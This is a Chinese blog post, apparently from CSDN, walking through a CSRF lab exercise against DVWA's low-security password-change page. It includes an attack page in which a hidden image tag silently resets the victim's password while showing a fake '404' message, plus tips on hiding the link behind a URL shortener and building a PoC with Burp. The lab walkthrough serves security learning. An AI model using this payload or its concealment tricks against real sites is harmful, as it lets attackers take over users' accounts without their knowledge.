csrf攻击（跨站请求伪造）【2】

最新推荐文章于 2024-08-08 11:09:25 发布
最新推荐文章于 2024-08-08 11:09:25 发布
阅读量285 收藏 1
点赞数 8
文章标签： csrf 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LfanBQX/article/details/138282289
版权

1.DVWA中csrf漏洞验证low

（1）受害者将密码更改为password，显示更改成功

(2)受害者未退出登录状态，打开了新链接(黑客设计好的修改密码为admin123(原本为passwrod)的链接），导致受害者密码被更改，此时退出登录发现无法登录成功。

(3)攻击者构造攻击页面（测试页面）

<html>
<head>
</head>
<body>
<img src="http://10.1.1.103:89/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>

（4）页面仍处于登录成功状态，受害者在未关闭登录页面的情况下点击了攻击链接，导致密码被更改（注：受害者不知不觉遭受攻击，只有当再次登录页面发现进不去才会发现）

（5）当password_new=hack&password_conf=hack登录hack显示成功

（6）短链接

上面的攻击链接太明显的，参数直接就在URL中，这样很容易就会被识破，为了隐藏URL，可以使用生成短链接的方式来实现。私有短地址平台

（7）burp构造攻击页面

a.抓取更改密码的数据包，利用engagement tools生成CDRF PoC，访问点击提交之后就可以更改密码。

复制生成的html代码即为我们需要的攻击页面代码，打开点击提交后即可更改密码

LfanBQX
关注
  • 8
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Spring Boot项目CSRF (跨站请求伪造)攻击演示与防御
oscar999的专栏
07-17 1368
CSRF ，Cross-site request forgery，跨站请求伪造。是常见的网络攻击的方式之一，2007年曾被列为互联网20大安全隐患之一。攻击过程是攻击者伪造用户的浏览器请求，访问一个用户曾经访问过的网站， 使目标网站误以为是用户的操作而执行命令。 本篇j基于Spring Boot创建项目，用来演示CSRF 的攻击过程。...
CSRF（跨站请求伪造）漏洞介绍
weixin_56233402的博客
07-28 819
Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
CSRF：跨站请求伪造攻击
qq_68163788的博客
02-05 1500
CSRF（Cross-Site Request Forgery）是一种网络安全攻击，攻击者利用用户已经登录的身份，在用户不知情的情况下发送恶意请求，以执行某些操作或获取用户的敏感信息。攻击者通常会诱使用户访问包含恶意请求的页面，或者通过其他方式注入恶意代码，以触发CSRF攻击。 CSRF攻击通常利用用户在其他网站上的身份验证信息，因此攻击者可以利用这些信息来执行恶意操作，比如更改用户密码、转账、发送消息等。由于CSRF攻击利用了用户的信任和已登录的身份，因此很难被用户察觉。
CSRF 跨站请求伪造
m0_69043895的博客
04-19 1034
CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比更具危险性。
CSRF（跨站请求伪造）攻击和预防
allway2的博客
09-05 747
但是，如果您遵循上述注意 HTTP 动词的规则，这对于 CSRF 保护来说不是必需的。幸运的是，只要您使用支持 CSRF 令牌并明确 HTTP 动词的体面、现代的应用程序平台，它们也很容易避免。当使用 cookie 进行会话管理的 Web 应用程序无法验证 HTTP POST 请求的来源时，通常会出现 CSRF（跨站点请求伪造）漏洞。防止这些攻击的常用方法是使用称为 CSRF 令牌的东西。您应该将令牌绑定到预身份验证会话（当用户进行身份验证并为用户提供新的会话 ID 时，您应该将其丢弃，但这是另一回事）。
CSRF——跨站请求伪造攻击
peanut5036的博客
12-04 1204
一般来说，攻击者通过伪造用户的浏览器的请求，向访问一个用户自己曾经认证访问过的网站发送出去，使目标网站接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的验证漏洞而实现这样的攻击行为，网站能够确认请求来源于用户的浏览器，却不能验证请求是否源于用户的真实意愿下的操作行为。
CSRF(跨站请求伪造)
alenzzzhang
09-27 194
Csrf CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本XSS，但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大...
CSRF（跨站请求伪造）
俺当日记写
07-14 182
CSRF 漏洞（跨站请求伪造）：漏洞是由于未校验请求来源，导致攻击者可在第三方站点发起 HTTP 请求，并以受害者的目标网站登录态（cookie、session 等）请求，从而执行一些敏感的业务功能操作1.不攻击网站服务器 2.冒充用户在信任网站工作 3.攻击建立在浏览器与web服务器的会话中网站服务端没有对request做严格过滤引起1.会造成用户密码重置 2.用户伪造1.get型csrf 2.post型csrf代码： 当访问这个页面时 及发送了一次http请求 伪造URL请求利用代码 实现网页自动提交
【WEB漏洞原理】CSRF跨站请求伪造
过期的秋刀鱼
08-28 1161
跨站请求伪造（Cross Site Request Forgery，CSRF）是一种攻击，它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击，攻击的重点在于更改状态的请求，而不是盗取数据，因为攻击者无法查看伪造请求的响应。借助于社工的一些帮助，例如，通过电子邮件或聊天发送链接，攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户，则成功的CSRF 攻击可以强制用户执行更改状态的请求，例如转移资金、修改密码等操作。
CSRF(跨站请求伪造)原理
weixin_62528361的博客
10-09 1283
CSRF攻击方式并不为大家所熟知，实际上很多网站都存在CSRF的安全漏洞。早在2000年，CSRF这种攻击方式已经由国外的安全人员提出，但在国内，直到2006年才开始被关注。
CSRF（跨站请求伪造）详细说明
02-26
Cross-SiteRequestForgery（CSRF），中文一般译作跨站请求伪造。经常入选owasp漏洞列表Top10，在当前web漏洞排行中，与XSS和SQL注入并列前三。与前两者相比，CSRF相对来说受到的关注要小很多，但是危害却非常大。...
Django CSRF跨站请求伪造防护过程解析
01-01
CSRF全称Cross-site request forgery（跨站请求伪造），是一种网络的攻击方式，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF。 攻击原理 1、用户访问正常的网站A，浏览器就会保存网站A...
Tomcat怎样防止跨站请求伪造(CSRF) 1
08-08
Tomcat 防止跨站请求伪造（CSRF）机制浅析 在 Web 应用开发中，跨站请求伪造（CSRF）是一种常见的安全威胁。跨站请求伪造攻击是指攻击者诱骗受信任用户访问恶意网站，从而使得恶意网站能以用户身份对受信任网站执行...
pikachu 之CSRF（跨站请求伪造）get和post型
LIU6636LIU的博客
07-23 725
pikachu 之CSRF（跨站请求伪造）get和post型
域名安全详解
TechEnthusiast的博客
08-06 164
域名安全是网络安全的重要组成部分，涉及多个方面。
Linux安全与高级应用（四）深入探索MySQL数据库：安装、管理与安全实践
洛秋的博客
08-07 1376
Linux：作为操作系统，提供稳定的运行环境。Apache：作为Web服务器，处理HTTP请求。MySQL：作为数据库管理系统，存储和管理数据。：作为脚本语言，生成动态网页。LAMP平台的优势在于其成本低廉、可定制性强、易于开发、方便易用且安全稳定。这使得LAMP成为许多企业和开发者的首选平台。通过以上步骤，我们完成了LAMP平台的部署及其主要组件的配置和测试。LAMP平台的搭建不仅为Web开发提供了一个强大的环境，同时也展现了其在成本和效率上的优势。
兼顾智能安全，医疗电子与AI如何打通？
bigbit_LiLi的博客
08-07 857
虽然目前光子计数技术仍在开发的过程中，但我们有理由相信，在不久后的将来，随着技术的进一步发展和应用拓展，光子计数有望在全球范围内得到更广泛的应用，为人类健康事业的发展做出更大的贡献。安森美耕耘医疗行业已经有三十多年的历史，例如在专业助听器的产品化落地中，安森美解决方案集成了多核处理器、先进的音频处理算法、低功耗蓝牙模块和丰富外围接口的系列核心产品，能够实现卓越的音质、长电池寿命和无线连接功能，帮助助听器制造商打造出高质量、智能化的助听器产品，显著提升用户的听觉体验。未来，医疗电子控制器肯定会国产化。
某赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SQL注入漏洞复现(XVE-2024-19611)
最新发布
0xSec
08-08 614
某赛通电子文档安全管理系统的 CDGAuthoriseTempletService1 接口存在 SQL 注入漏洞。 攻击者可以通过构造特定的 POST 请求注入恶意 SQL 代码，利用该漏洞对数据库执行任意 SQL 操作，获取所有用户的账户密码信息，破解md5值后可直接接管后台，导致系统处于极不安全的状态。
自学黑客（网络安全）
热门推荐
2301_77160226的博客
08-05 1万+
想自学网络安全（黑客技术）首先你得了解什么是网络安全！什么是黑客！网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
Django中的CSRF(跨站请求伪造)
05-21
Django中的CSRF是一种安全机制，可以防止跨站请求伪造攻击。在Django中，默认情况下，所有的POST、PUT、DELETE请求都需要在请求中包含一个名为`csrfmiddlewaretoken`的CSRF令牌。 具体来说，Django在生成表单时会...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值